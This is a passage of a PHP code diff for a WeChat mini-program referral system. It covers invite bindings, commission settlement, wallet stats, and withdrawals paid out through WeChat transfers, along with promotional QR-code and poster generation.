->inc('walletTotalEarned', $commissionFen) - ->update(['updatedAt' => $now]); - } else { - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletPending', $commissionFen) - ->update(['updatedAt' => $now]); - - $commissionStatus = 'frozen'; - } - } else { - // 无企业上下文时仍由平台直接发放 - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletBalance', $commissionFen) - ->inc('walletTotalEarned', $commissionFen) - ->update(['updatedAt' => $now]); - } - - // 写佣金记录 - Db::name('commission_records')->insert([ - 'agentId' => $inviterId, - 'orderId' => null, - 'testResultId' => $testResultId, - 'commissionSource' => 'test_completion', - 'scope' => 'personal', - 'enterpriseId' => $recordEnterpriseId, - 'inviterId' => $inviterId, - 'inviteeId' => $inviteeId, - 'bindingId' => (int) $binding['id'], - 'commissionRate' => $rate, - 'orderAmount' => 0, - 'commissionFen' => $commissionFen, - 'commissionAmount' => number_format($commissionFen / 100, 2, '.', ''), - 'status' => $commissionStatus, - 'frozenAt' => $commissionStatus === 'frozen' ? $now : null, - 'paidAt' => $commissionStatus === 'paid' ? $now : null, - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - - Db::commit(); - } catch (\Throwable $e) { - Db::rollback(); - Log::error('settleTestCommission failed', [ - 'testResultId' => $testResultId, - 'inviteeId' => $inviteeId, - 'testType' => $testType, - 'normalizedType' => $normalizedType, - 'userEnterpriseId' => $userEid, - 'bindingId' => (int)($binding['id'] ?? 0), - 'inviterId' => $inviterId, - 'commissionFen' => $commissionFen, - 'message' => $e->getMessage(), - ]); - } - } -} +resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviteeId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $inviterId = (int) Request::param('inviterId', 0); + $enterpriseId = Request::param('eid', null); + $enterpriseId = $enterpriseId !== null ? (int) $enterpriseId : null; + $scope = $enterpriseId ? 'enterprise' : 'personal'; + + // 自绑校验 + if ($inviterId <= 0 || $inviterId === $inviteeId) { + return success(null, '无需绑定'); + } + + // 企业版:推荐人必须是该企业成员 + if ($scope === 'enterprise') { + $inviter = Db::name('wechat_users') + ->where('id', $inviterId) + ->field('id, enterpriseId') + ->find(); + if (!$inviter || (int) $inviter['enterpriseId'] !== $enterpriseId) { + return success(null, '无需绑定'); + } + } + + $now = time(); + + // 禁止互相绑定(仅有效期内):A 曾邀请过 B 且 A→B 未过期时,B 不能再成为 A 的推荐人;若 A→B 已过期则允许 A 绑定 B + $reverseExists = Db::name('distribution_bindings') + ->where('inviterId', $inviteeId) + ->where('inviteeId', $inviterId) + ->where('scope', $scope) + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->where(function ($query) use ($enterpriseId) { + if ($enterpriseId) { + $query->where('enterpriseId', $enterpriseId); + } else { + $query->whereNull('enterpriseId'); + } + }) + ->find(); + if ($reverseExists) { + return success(null, '无需绑定'); + } + $expireAt = $now + self::BINDING_TTL; + + // 查询当前是否存在有效绑定(包含已过期,因为唯一索引覆盖所有状态) + $existing = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', $scope) + ->where(function ($query) use ($enterpriseId) { + if ($enterpriseId) { + $query->where('enterpriseId', $enterpriseId); + } else { + $query->whereNull('enterpriseId'); + } + }) + ->find(); + + if (!$existing) { + // ── 首次绑定 + Db::name('distribution_bindings')->insert([ + 'inviterId' => $inviterId, + 'inviteeId' => $inviteeId, + 'scope' => $scope, + 'enterpriseId' => $enterpriseId, + 'expireAt' => $expireAt, + 'status' => 'active', + 'prevInviterId'=> null, + 'overriddenAt' => null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } elseif ((int) $existing['inviterId'] === $inviterId) { + // ── 同一推荐人再次点击 → 续期 + Db::name('distribution_bindings') + ->where('id', $existing['id']) + ->update([ + 'expireAt' => $expireAt, + 'status' => 'active', + 'updatedAt' => $now, + ]); + } else { + // ── 不同推荐人 → 抢绑(覆盖,记录旧推荐人) + Db::name('distribution_bindings') + ->where('id', $existing['id']) + ->update([ + 'prevInviterId' => (int) $existing['inviterId'], + 'inviterId' => $inviterId, + 'expireAt' => $expireAt, + 'status' => 'active', + 'overriddenAt' => $now, + 'updatedAt' => $now, + ]); + } + + return success(['expireAt' => $expireAt], '绑定成功'); + } + + /** + * 过期待收款提现:status=2 超过24小时未确认收款的,自动退回余额并标记为已过期 + */ + private function expirePendingWithdrawals() + { + $now = time(); + $limit = $now - self::WITHDRAW_WAIT_EXPIRE_SEC; + $list = Db::name('distribution_withdrawals') + ->where('status', 2) + ->select() + ->toArray(); + foreach ($list as $row) { + $ts = (int) ($row['auditAt'] ?? $row['updatedAt'] ?? $row['createdAt'] ?? 0); + if ($ts <= 0 || $ts >= $limit) { + continue; + } + $id = (int) $row['id']; + $userId = (int) $row['userId']; + $amountFen = (int) $row['amountFen']; + if ($amountFen <= 0) { + continue; + } + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $userId) + ->inc('walletBalance', $amountFen) + ->update(['updatedAt' => $now]); + Db::name('distribution_withdrawals')->where('id', $id)->update([ + 'status' => 4, + 'auditNote' => '超时未确认收款,已自动退回余额', + 'auditAt' => $now, + 'updatedAt' => $now, + ]); + Db::commit(); + Log::info('提现过期自动退回', ['id' => $id, 'userId' => $userId, 'amountFen' => $amountFen]); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('expirePendingWithdrawals error: ' . $e->getMessage()); + } + } + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/stats + // 推广中心统计数据(余额、总收益、待入账、绑定数、付款数) + // ───────────────────────────────────────────────────────────── + public function stats() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $now = time(); + + $this->expirePendingWithdrawals(); + + // 直接读取 wechat_users 中的钱包字段(持久化数据) + $walletBalanceFen = 0; + $totalEarnedFen = 0; + $pendingFen = 0; + try { + $walletRow = Db::name('wechat_users') + ->where('id', $inviterId) + ->field('walletBalance, walletTotalEarned, walletPending') + ->find(); + if ($walletRow) { + $walletBalanceFen = (int) ($walletRow['walletBalance'] ?? 0); + $totalEarnedFen = (int) ($walletRow['walletTotalEarned'] ?? 0); + $pendingFen = (int) ($walletRow['walletPending'] ?? 0); + } + } catch (\Exception $e) { + // 表结构异常时静默降级为 0 + } + + // 绑定中人数(active 且未过期) + $bindingCount = 0; + try { + $bindingCount = Db::name('distribution_bindings') + ->where('inviterId', $inviterId) + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->count(); + } catch (\Exception $e) {} + + // 已付款人数 + $paidCount = 0; + try { + $paidCount = Db::name('commission_records') + ->where('inviterId', $inviterId) + ->whereIn('status', ['paid', 'frozen']) + ->distinct(true) + ->count('inviteeId'); + } catch (\Exception $e) {} + + // 即将到期(7天内过期) + $expiringCount = 0; + try { + $expiringCount = Db::name('distribution_bindings') + ->where('inviterId', $inviterId) + ->where('status', 'active') + ->where('expireAt', '>', $now) + ->where('expireAt', '<=', $now + 7 * 86400) + ->count(); + } catch (\Exception $e) {} + + // 总邀请人数(历史所有绑定过的唯一用户数) + $totalInvite = 0; + try { + $totalInvite = Db::name('distribution_bindings') + ->where('inviterId', $inviterId) + ->distinct(true) + ->count('inviteeId'); + } catch (\Exception $e) {} + + // 根据用户所属企业读取分销配置(显示开关 + 推广中心标题) + $enterpriseId = 0; + try { + $wu = Db::name('wechat_users')->where('id', $inviterId)->field('enterpriseId')->find(); + $enterpriseId = $wu && isset($wu['enterpriseId']) ? (int) $wu['enterpriseId'] : 0; + } catch (\Exception $e) {} + $distConfig = null; + try { + $distRow = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + if (!$distRow && $enterpriseId > 0) { + $distRow = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->find(); + } + if ($distRow && $distRow['value']) { + $distConfig = is_string($distRow['value']) ? json_decode($distRow['value'], true) : $distRow['value']; + } + } catch (\Exception $e) {} + $distributionEnabled = ($distConfig['enabled'] ?? true); + $promoCenterTitle = trim((string)($distConfig['promoCenterTitle'] ?? '推广中心')) ?: '推广中心'; + $commissionRate = (int)($distConfig['commissionRate'] ?? 90); + $bindingDays = (int)($distConfig['bindingDays'] ?? 30); + + // 提现规则仅超管可配置,只读 enterprise_id=0 的全局配置 + $globalDistConfig = null; + try { + $globalRow = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->find(); + if ($globalRow && $globalRow['value']) { + $globalDistConfig = is_string($globalRow['value']) ? json_decode($globalRow['value'], true) : $globalRow['value']; + } + } catch (\Exception $e) {} + $cfg = is_array($globalDistConfig) ? $globalDistConfig : []; + $minWithdrawFen = (int)($cfg['minWithdrawFen'] ?? 100); + $maxWithdrawFen = (int)($cfg['maxWithdrawFen'] ?? 0); + $withdrawFee = (float)($cfg['withdrawFee'] ?? 0); + $requireAudit = (isset($cfg['requireAudit']) ? $cfg['requireAudit'] : true) !== false; + $withdrawMinYuan = number_format($minWithdrawFen / 100, 2, '.', ''); + $withdrawMaxYuan = $maxWithdrawFen > 0 ? number_format($maxWithdrawFen / 100, 2, '.', '') : null; + $withdrawFeePct = round($withdrawFee, 1); + + // 读取「人脸分析」测试佣金配置,用于前端展示规则说明 + $faceSetting = null; + try { + $faceSetting = self::resolveTestSetting('face', $enterpriseId > 0 ? $enterpriseId : null); + } catch (\Throwable $e) { + $faceSetting = null; + } + $faceType = $faceSetting['commissionType'] ?? null; + $faceRate = isset($faceSetting['commissionRate']) ? (int)$faceSetting['commissionRate'] : null; + $faceAmountFen = isset($faceSetting['commissionAmountFen']) ? (int)$faceSetting['commissionAmountFen'] : null; + $faceAmountYuan = $faceAmountFen !== null ? number_format($faceAmountFen / 100, 2, '.', '') : null; + $faceNoPayment = !empty($faceSetting['noPayment']); + + return success([ + 'walletBalance' => number_format($walletBalanceFen / 100, 2, '.', ''), + 'totalEarned' => number_format($totalEarnedFen / 100, 2, '.', ''), + 'pendingAmount' => number_format($pendingFen / 100, 2, '.', ''), + 'bindingCount' => $bindingCount, + 'paidCount' => $paidCount, + 'expiringCount' => $expiringCount, + 'totalInvite' => $totalInvite, + 'distributionEnabled' => $distributionEnabled, + 'promoCenterTitle' => $promoCenterTitle, + 'commissionRate' => $commissionRate, + 'bindingDays' => $bindingDays, + 'testCommissionType' => $faceType, + 'testCommissionRate' => $faceRate, + 'testCommissionAmount'=> $faceAmountYuan, + 'testNoPayment' => $faceNoPayment, + 'withdrawMinYuan' => $withdrawMinYuan, + 'withdrawMaxYuan' => $withdrawMaxYuan, + 'withdrawFeePct' => $withdrawFeePct, + 'requireWithdrawAudit'=> $requireAudit, + ]); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/bindings + // 我邀请的用户列表(分页,tab: 0=绑定中 1=已付款 2=已过期) + // ───────────────────────────────────────────────────────────── + public function bindings() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $tab = (int) Request::param('tab', 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(50, (int) Request::param('pageSize', 20)); + $now = time(); + + $query = Db::name('distribution_bindings') + ->alias('b') + ->leftJoin('wechat_users u', 'b.inviteeId = u.id') + ->field('b.id, b.inviteeId, b.expireAt, b.status, b.createdAt, b.overriddenAt, + u.nickname, u.avatar') + ->where('b.inviterId', $inviterId); + + switch ($tab) { + case 1: // 已付款 + $paidInviteeIds = Db::name('commission_records') + ->where('inviterId', $inviterId) + ->whereIn('status', ['paid', 'frozen']) + ->column('inviteeId'); + if (empty($paidInviteeIds)) { + return success(['list' => [], 'total' => 0, 'page' => $page, 'pageSize' => $pageSize]); + } + $query->whereIn('b.inviteeId', array_unique($paidInviteeIds)); + break; + case 2: // 已过期 + $query->where(function ($q) use ($now) { + $q->where('b.status', 'overridden') + ->whereOr(function ($q2) use ($now) { + $q2->where('b.status', 'active')->where('b.expireAt', '<=', $now); + }); + }); + break; + default: // 绑定中 + $query->where('b.status', 'active')->where('b.expireAt', '>', $now); + break; + } + + $total = (clone $query)->count(); + $list = $query->order('b.updatedAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + foreach ($list as &$row) { + $row['expireAt'] = (int) $row['expireAt']; + $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); + $row['avatar'] = $row['avatar'] ?: ''; + $row['nickname'] = $row['nickname'] ?: '微信用户'; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/commissions + // 我的佣金记录(分页) + // ───────────────────────────────────────────────────────────── + public function commissions() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(50, (int) Request::param('pageSize', 20)); + + $list = Db::name('commission_records') + ->alias('c') + ->leftJoin('wechat_users u', 'c.inviteeId = u.id') + ->field('c.id, c.commissionFen, c.orderAmount, c.status, c.scope, c.createdAt, + c.frozenAt, c.unfrozenAt, u.nickname, u.avatar') + ->where('c.inviterId', $inviterId) + ->order('c.createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $total = Db::name('commission_records') + ->where('inviterId', $inviterId) + ->count(); + + foreach ($list as &$row) { + $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); + $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); + $row['nickname'] = $row['nickname'] ?: '微信用户'; + $row['avatar'] = $row['avatar'] ?: ''; + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } + + // ───────────────────────────────────────────────────────────── + // POST /api/distribution/withdraw + // 申请提现 + // ───────────────────────────────────────────────────────────── + public function withdraw() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $this->expirePendingWithdrawals(); + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $amountFen = (int) Request::param('amountFen', 0); + $scope = Request::param('scope', 'personal'); + $eid = $scope === 'enterprise' ? (int) Request::param('eid', 0) : null; + + list($minFen, $maxFen) = self::getWithdrawLimits($scope, $eid); + if ($amountFen < $minFen) { + return error('最低提现金额为 ' . round($minFen / 100, 2) . ' 元', 400); + } + if ($maxFen > 0 && $amountFen > $maxFen) { + return error('最高提现金额为 ' . round($maxFen / 100, 2) . ' 元', 400); + } + + $wallet = Db::name('wechat_users') + ->where('id', $userId) + ->field('walletBalance') + ->find(); + + if (!$wallet || (int) $wallet['walletBalance'] < $amountFen) { + return error('余额不足', 400); + } + + // 检查是否有待审核的提现申请(status=0 审核中) + $pending = Db::name('distribution_withdrawals') + ->where('userId', $userId) + ->where('status', 0) + ->count(); + if ($pending > 0) { + return error('您有待处理的提现申请,请等待审核完成后再次申请', 400); + } + + // 手续费(分):按全局配置 enterprise_id=0 的 withdrawFee 比例计算 + $cfg = self::getDistributionConfig($scope ?: 'personal', $eid); + $feePct = (float)($cfg['withdrawFee'] ?? 0); + $feeFen = (int) round($amountFen * $feePct / 100); + $actualFen = $amountFen - $feeFen; + if ($actualFen < $minFen) { + return error('实际到账金额不得低于最低提现金额 ' . number_format($minFen / 100, 2, '.', '') . ' 元', 400); + } + + $requireAudit = (isset($cfg['requireAudit']) ? $cfg['requireAudit'] : true) !== false; + + $now = time(); + Db::startTrans(); + try { + // 冻结余额 + Db::name('wechat_users') + ->where('id', $userId) + ->dec('walletBalance', $amountFen) + ->update(['updatedAt' => $now]); + + // 写入提现申请:status=0 审核中,并记录手续费(需 insertGetId 以便免审核时更新) + $withdrawId = Db::name('distribution_withdrawals')->insertGetId([ + 'userId' => $userId, + 'amountFen' => $amountFen, + 'feeFen' => $feeFen, + 'status' => 0, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('申请提现失败:' . $e->getMessage(), 500); + } + + // 免审核:自动发起微信转账 + if (!$requireAudit && $withdrawId > 0) { + $wechatUser = Db::name('wechat_users')->where('id', $userId)->field('openid')->find(); + $openid = $wechatUser['openid'] ?? ''; + if (empty($openid)) { + Db::startTrans(); + try { + Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 1, + 'auditNote' => '无 openid 无法自动打款,请联系管理员', + 'auditAt' => time(), + 'updatedAt' => time(), + ]); + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + return error('无法自动打款:未绑定微信 openid,请联系管理员', 400); + } + + try { + $outBillNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999) . $withdrawId; + $service = new \app\common\service\WechatTransferService(); + $result = $service->createTransfer([ + 'out_bill_no' => $outBillNo, + 'openid' => $openid, + 'transfer_amount' => $amountFen, + 'transfer_remark' => '推广佣金提现', + 'transfer_scene_id' => env('TRANSFER_SCENE_ID', '1005'), + 'transfer_scene_report_infos' => [ + ['info_type' => '岗位类型', 'info_content' => '推广人员'], + ['info_type' => '报酬说明', 'info_content' => '推广佣金提现'], + ], + 'notify_url' => env('WITHDRAW_NOTIFY_URL', ''), + ]); + + if ($result['success'] === true) { + $wechatData = $result['data'] ?? []; + $transferBillNo = $wechatData['transfer_bill_no'] ?? $wechatData['batch_id'] ?? null; + $wechatState = $wechatData['state'] ?? $wechatData['batch_status'] ?? 'PROCESSING'; + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 2, + 'auditAt' => $now, + 'updatedAt' => $now, + 'pay_type' => 'wechat', + 'out_bill_no' => $outBillNo, + 'transfer_bill_no' => $transferBillNo, + 'wechat_pay_state' => $wechatState, + 'transfer_scene_id' => $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), + 'package_info' => $wechatData['package_info'] ?? '', + 'mch_id' => env('MCH_ID', null), + ]); + return success(null, '提现申请已提交,已自动发起微信转账'); + } + + $err = $result['error'] ?? []; + $code = $err['code'] ?? 'UNKNOWN'; + $msg = $err['message'] ?? '微信转账接口调用失败'; + Db::startTrans(); + try { + Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 1, + 'auditNote' => "微信转账发起失败({$code}):{$msg}", + 'auditAt' => time(), + 'updatedAt' => time(), + ]); + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + return error("自动打款失败({$code}):{$msg}", 500); + } catch (\Exception $e) { + Db::startTrans(); + try { + Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); + Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ + 'status' => 1, + 'auditNote' => '自动打款异常:' . $e->getMessage(), + 'auditAt' => time(), + 'updatedAt' => time(), + ]); + Db::commit(); + } catch (\Exception $ex) { + Db::rollback(); + } + return error('自动打款异常:' . $e->getMessage(), 500); + } + } + + return success(null, '提现申请已提交,请等待审核'); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/withdrawals + // 我的提现记录 + // ───────────────────────────────────────────────────────────── + public function withdrawals() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(50, (int) Request::param('pageSize', 20)); + + $this->expirePendingWithdrawals(); + + $list = Db::name('distribution_withdrawals') + ->where('userId', $userId) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $total = Db::name('distribution_withdrawals') + ->where('userId', $userId) + ->count(); + + foreach ($list as &$row) { + $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); + $feeFen = (int)($row['feeFen'] ?? 0); + $row['feeYuan'] = number_format($feeFen / 100, 2, '.', ''); + } + + return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); + } + + // ───────────────────────────────────────────────────────────── + // POST /api/distribution/withdrawals/query-transfer + // 用户确认收款后,主动查询微信转账单状态并更新本地订单(及时刷新) + // 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716437 + // ───────────────────────────────────────────────────────────── + public function queryTransfer() + { + $user = $this->resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('参数错误', 400); + } + + $record = Db::name('distribution_withdrawals') + ->where('id', $id) + ->where('userId', $userId) + ->find(); + if (!$record) { + return error('提现记录不存在或无权限', 404); + } + + $outBillNo = trim((string) ($record['out_bill_no'] ?? '')); + if (!$outBillNo) { + return error('该提现单暂无商户单号,无法查询', 400); + } + + try { + $service = new \app\common\service\WechatTransferService(); + $result = $service->queryByOutBillNo($outBillNo); + } catch (\Throwable $e) { + Log::error('queryTransfer WechatTransferService error: ' . $e->getMessage()); + return error('查询转账状态失败:' . $e->getMessage(), 500); + } + + if ($result['success'] !== true || empty($result['data'])) { + $err = $result['error'] ?? []; + return error('查询失败:' . ($err['message'] ?? '未知错误'), 500); + } + + $data = $result['data']; + $state = trim((string) ($data['state'] ?? '')); + $now = time(); + $billNo = $data['transfer_bill_no'] ?? null; + + if ($state === 'SUCCESS') { + Db::name('distribution_withdrawals')->where('id', $id)->update([ + 'status' => 3, + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $billNo, + 'transferAt' => $now, + 'updatedAt' => $now, + ]); + return success(['status' => 3, 'statusLabel' => '已收款'], '已收款'); + } + + if ($state === 'FAIL') { + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', (int) $record['amountFen']) + ->update(['updatedAt' => $now]); + Db::name('distribution_withdrawals')->where('id', $id)->update([ + 'status' => 1, + 'auditNote' => $data['fail_reason'] ?? '微信转账失败', + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $billNo, + 'updatedAt' => $now, + ]); + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('queryTransfer FAIL rollback: ' . $e->getMessage()); + return error('更新失败', 500); + } + return success(['status' => 1, 'statusLabel' => '已驳回'], '转账失败,余额已退回'); + } + + return success(['status' => (int) $record['status'], 'state' => $state], '状态未变更'); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/qrcode + // 生成当前用户专属小程序推广码,直接输出 PNG 二进制流 + // 可选参数:scope=personal|enterprise;eid=企业ID(仅 scope=enterprise 时有效) + // ───────────────────────────────────────────────────────────── + public function qrcode() + { + $user = $this->resolveUser(); + if (!$user) { + http_response_code(401); + exit('Unauthorized'); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $scope = Request::param('scope', ''); + // 显式传 scope=personal 时强制个人版,不认 eid + $enterpriseId = ($scope === 'personal') ? null : Request::param('eid', null); + $enterpriseId = $enterpriseId !== null ? (int) $enterpriseId : null; + + // scene 参数:uid=用户ID(+eid=企业ID),最长 32 字符 + if ($enterpriseId) { + $scene = "uid={$userId}&eid={$enterpriseId}"; + $page = 'pages/enterprise/index'; + } else { + $scene = "uid={$userId}"; + $page = 'pages/index/index'; + } + + // 调用微信接口生成小程序码 + $result = WechatService::getWxacodeUnlimited($scene, $page, 280); + + if (isset($result['errcode'])) { + http_response_code(500); + exit(json_encode(['code' => 500, 'msg' => '生成小程序码失败:' . ($result['errmsg'] ?? '未知错误')])); + } + + // 直接输出 PNG 二进制流,供 wx.downloadFile 使用 + header('Content-Type: image/png'); + header('Cache-Control: max-age=3600'); + echo $result['binary']; + exit(); + } + + // ───────────────────────────────────────────────────────────── + // GET /api/distribution/poster + // 生成完整海报(后端合成头像+二维码),直接输出 PNG + // ───────────────────────────────────────────────────────────── + public function poster() + { + $user = $this->resolveUser(); + if (!$user) { + http_response_code(401); + exit('Unauthorized'); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $scope = Request::param('scope', ''); + // scope=personal 时不读 eid 参数 + $eidParam = ($scope === 'personal') ? null : Request::param('eid', null); + $enterpriseId = $eidParam !== null ? (int) $eidParam : null; + + if ($userId <= 0) { + http_response_code(400); + exit(json_encode(['code' => 400, 'msg' => '用户信息异常'])); + } + + $wechatUser = Db::name('wechat_users') + ->where('id', $userId) + ->field('id, nickname, avatar, enterpriseId') + ->find(); + + // 未显式传 eid 且非强制个人版时,从用户 DB 记录自动取企业 ID + if ($enterpriseId === null && $scope !== 'personal' && !empty($wechatUser['enterpriseId'])) { + $enterpriseId = (int) $wechatUser['enterpriseId']; + } + $userData = [ + 'id' => $userId, + 'nickname' => $wechatUser['nickname'] ?? '好友', + 'avatar' => $wechatUser['avatar'] ?? '', + ]; + + $scene = $enterpriseId ? "uid={$userId}&eid={$enterpriseId}" : "uid={$userId}"; + $page = $enterpriseId ? 'pages/enterprise/index' : 'pages/index/index'; + $qrResult = WechatService::getWxacodeUnlimited($scene, $page, 280); + + if (isset($qrResult['errcode'])) { + http_response_code(500); + exit(json_encode(['code' => 500, 'msg' => '生成小程序码失败:' . ($qrResult['errmsg'] ?? '')])); + } + + $avatarBinary = null; + if (!empty($userData['avatar'])) { + $avatarBinary = PosterService::fetchImage($userData['avatar']); + } + + try { + $png = PosterService::buildFromConfig($userData, $qrResult['binary'], $avatarBinary, $enterpriseId); + } catch (\Throwable $e) { + http_response_code(500); + exit(json_encode(['code' => 500, 'msg' => '海报合成失败:' . $e->getMessage()])); + } + + header('Content-Type: image/png'); + header('Cache-Control: max-age=3600'); + echo $png; + exit(); + } + + // ───────────────────────────────────────────────────────────── + // 内部方法:订单付款成功后结算佣金(由 Payment/notify 调用) + // $orderId: orders.id (整数) + // ───────────────────────────────────────────────────────────── + public static function settleCommission(int $orderId): void + { + $order = Db::name('orders') + ->where('id', $orderId) + ->field('id, userId, enterpriseId, amount, status') + ->find(); + + if (!$order || $order['status'] !== 'paid') { + return; + } + + $inviteeId = (int) $order['userId']; + $orderAmount = (int) $order['amount']; + $enterpriseId = !empty($order['enterpriseId']) ? (int) $order['enterpriseId'] : null; + $scope = $enterpriseId ? 'enterprise' : 'personal'; + $now = time(); + + // 【第一步】精确匹配:scope + enterpriseId 与订单完全一致 + $binding = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', $scope) + ->where(function ($q) use ($enterpriseId) { + if ($enterpriseId) { + $q->where('enterpriseId', $enterpriseId); + } else { + $q->whereNull('enterpriseId'); + } + }) + ->where('status', 'active') + ->where('expireAt', '>', time()) + ->find(); + + // 【第二步】回退匹配:精确未命中时,查找任意有效的 personal 绑定 + // 跨 scope 场景(如企业版订单但推荐人仅持有 personal 绑定),以个人版配置+平台资金结算 + $fallbackScope = $scope; + $fallbackEnterpriseId = $enterpriseId; + if (!$binding && $scope === 'enterprise') { + $binding = self::findActivePersonalBinding($inviteeId, $enterpriseId); + if ($binding) { + $fallbackScope = 'personal'; + $fallbackEnterpriseId = !empty($binding['enterpriseId']) ? (int) $binding['enterpriseId'] : null; + } + } + + if (!$binding) { + return; + } + + // 实际用于结算的 scope/enterpriseId(可能已回退为 personal) + $scope = $fallbackScope; + $enterpriseId = $fallbackEnterpriseId; + + $inviterId = (int) $binding['inviterId']; + + // 从订单关联的 test_results 中取 testType,用于读取 per-test 佣金配置 + $testType = null; + try { + $tr = Db::name('test_results')->where('orderId', $orderId)->field('testType')->find(); + if ($tr) $testType = $tr['testType'] === 'ai' ? 'face' : ($tr['testType'] ?? null); + } catch (\Throwable $e) {} + + // 读取佣金配置(优先 per-test testSettings,回退全局) + list($rate, $amountFen) = self::getTestCommissionConfig($testType, $scope, $enterpriseId); + $commissionFen = 0; + if ($amountFen > 0) { + $commissionFen = $amountFen; + $rate = 0; + } elseif ($rate > 0) { + $commissionFen = (int) floor($orderAmount * $rate / 100); + } + if ($commissionFen <= 0) { + return; + } + + // 避免同一订单重复结算 + $exists = Db::name('commission_records') + ->where('orderId', $orderId) + ->find(); + if ($exists) { + return; + } + + Db::startTrans(); + try { + $commissionStatus = 'pending'; + + if ($enterpriseId) { + // 企业上下文:优先从企业余额扣款,余额不足则冻结 + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, balance') + ->lock(true) + ->find(); + + $balanceFen = (int) ($enterprise['balance'] ?? 0); + + if ($enterprise && $balanceFen >= $commissionFen) { + // 余额充足,直接结算 + $newBalanceFen = $balanceFen - $commissionFen; + Db::name('enterprises') + ->where('id', $enterpriseId) + ->update([ + 'balance' => $newBalanceFen, + 'updatedAt' => $now, + ]); + + Db::name('finance_records')->insert([ + 'enterpriseId' => $enterpriseId, + 'type' => 'consume', + 'amount' => $commissionFen, + 'balanceBefore' => $balanceFen, + 'balanceAfter' => $newBalanceFen, + 'description' => self::buildCommissionFinanceDescription($inviteeId, $testType, 'order_paid'), + 'orderId' => $orderId, + 'createdAt' => $now, + ]); + + // 推荐人钱包入账 + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'paid'; + } else { + // 余额不足,冻结 + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletPending', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'frozen'; + } + } else { + // 无企业上下文:平台直接发放(入账钱包) + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + 